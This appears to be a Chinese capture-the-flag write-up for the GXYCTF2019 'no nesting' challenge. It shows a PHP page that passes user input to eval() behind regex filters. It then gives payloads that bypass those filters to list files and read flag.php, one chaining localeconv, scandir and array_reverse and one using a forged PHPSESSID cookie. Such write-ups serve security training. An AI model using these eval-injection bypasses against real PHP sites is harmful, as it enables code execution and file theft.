[GXYCTF2019]禁止套娃 无回显 RCE 过滤__FILE__ dirname等

扫除git

通过githack

获取index.php

";
if(isset($_GET['exp'])){
    if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
        if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
            if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
                // echo $_GET['exp'];
                @eval($_GET['exp']);
            }
            else{
                die("还差一点哦!");
            }
        }
        else{
            die("再好好想想!");
        }
    }
    else{
        die("还想读flag,臭弟弟!");
    }
}
// highlight_file(__FILE__);
?>

发现是命令执行 并且存在过滤

我们之前使用的 print_r(dirname(__FILE__));

在这里不可以使用

1.localeconv()

直接上payload了

print_r(localeconv());

 通过current指定第一个 .

?exp=print_r(current(localeconv()));

这样我们配合 scandir 就可以实现 scandir('.')了

?exp=print_r(scandir(current(localeconv())));

[GXYCTF2019]禁止套娃 无回显 RCE 过滤__FILE__ dirname等_第1张图片

 这里我们无法使用[] 所以我们可以通过 array_reverse 倒序数组 然后next即可

?exp=print_r(next(array_reverse(scandir(current(localeconv())))));

[GXYCTF2019]禁止套娃 无回显 RCE 过滤__FILE__ dirname等_第2张图片

/?exp=highlight_file(next(array_reverse(scandir(current(localeconv())))));

2.seesion_id

正常情况下 不开启 seesion 服务 但是如果我们可以通过 seesion_start()开启

我们就可以通过 seesion传递值

?exp=print_r(session_id(session_start()))


bp中加

Cookie: PHPSESSID=flag.php

[GXYCTF2019]禁止套娃 无回显 RCE 过滤__FILE__ dirname等_第3张图片

 然后一样通过 highlight_file即可

[GXYCTF2019]禁止套娃 无回显 RCE 过滤__FILE__ dirname等_第4张图片

你可能感兴趣的:(BUUctf,php)